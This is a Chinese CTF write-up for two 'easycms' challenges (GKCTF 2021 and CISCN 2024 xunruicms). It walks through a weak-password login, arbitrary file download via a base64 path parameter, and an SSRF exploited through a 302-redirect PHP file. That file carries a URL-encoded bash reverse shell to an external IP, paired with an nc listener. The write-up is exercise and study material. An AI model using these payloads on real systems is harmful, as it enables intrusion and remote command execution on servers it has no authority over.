什么是CMS?
CMS是“Content Management System”的缩写,意为“内容管理系统”。网站的开发者为了方便,制作了不同种类的CMS,可以加快网站开发的速度和减少开发的成本。
常见的CMS:
php类cms系统:dedecms、帝国cms、php168、phpcms、cmstop、discuz、phpwind等
asp类cms系统:zblog、KingCMS等
国外的著名cms系统:joomla、WordPress 、magento、drupal 、mambo。
直接看国赛那道题有点懵
先整道简单的ezcms过渡一下 、
[GKCTF 2021]easycms
打开是一个企业的介绍页面
目录扫描admin.php进入后台登陆
弱口令爆破admin/12345
进入后台后 设计——主题——自定义
导出主题 然后随便输入一下点击保存
右键复制下载链接
http://node4.anna.nssctf.cn:28812/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=
base64解码后面的
得到路径
把default/1.zip直接改成flag
payload
http://node4.anna.nssctf.cn:28812/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=
下载flag.zip
用010打开
得到flag
easycms
简单的cms,可以扫扫看? 提示1: /flag.php:
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}
提示2:github找一下源码?
先扫描一下
Read.txt是乱码
恢复一下
官方下载地址:
https://www.xunruicms.com/down/
安装路径:
将网站运行目录(主目录)设置为:public(如果没有就忽略设置)
安装环境监测:
/test.php
程序安装地址:
/install.php
后台登录地址:
/admin****.php(****是随机的)
重置后台地址:
https://www.xunruicms.com/doc/1097.html
首次使用方法:
https://www.xunruicms.com/doc/631.html
运行环境:
Laravel内核:PHP8.0及以上
ThinkPHP内核:PHP7.4及以上
CodeIgniter内核:PHP7.4及以上
CodeIgniter72内核:PHP7.2及以上
数据库要求:
MySQL5及以上,推荐使用5.7及以上版本
内核切换方法:
https://www.xunruicms.com/doc/1246.html
根据提示
找到源码https://github.com/dayrui/xunruicms
信息收集 找到漏洞公示页面迅睿CMS漏洞公示,四川迅睿云软件开发有限公司厂商的漏洞列表
根据提示
应该是flag.php页面存在ssrf漏洞
定位到源码路径xunruicms-master\dayrui\Fcms\Control\Api\Api.php
的qrcode
函数
api文件是什么?
api文件适用于处理api请求的文件
API请求是指应用程序通过编程接口(API)与服务器进行交互的过程。
这里怎么知道函数是这个路径的
搜一下就行
既然是ssrf 肯定和url有关
dr_catcher_data 定位这个函数 且thumb的值可控
找它的函数定义
xunruicms-master\dayrui\Fcms\Core\Helper.php
看到我们熟悉的curl函数
构造302跳转 (反弹shell没成功)
创建302.php
<?php
header('location:http://127.0.0.1/flag.php?cmd=%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%38%32%2e%32%35%34%2e%32%34%32%2e%31%36%37%2f%38%38%38%38%20%3c%26%31%22',true,302);
exit();
?>
在302.php的目录下开启你要访问的端口号
payload:
?s=api&c=api&m=qrcode&text=1&thumb=http://vps:7777/302.php&size=10&level=1
反弹shell
nc -lvnp 8888
我这里一点动静都没有
302跳转倒是成功了
不知道为什么
能试的payload都试过了
不知道是不是ctfshow靶场的问题
讨厌这题!
参考
【Web】CISCN 2024初赛 题解(全)
2024 CISCN 赛后学习与总结 | 心流
2024-ciscn-web-0X02 easycms - toolsの小破站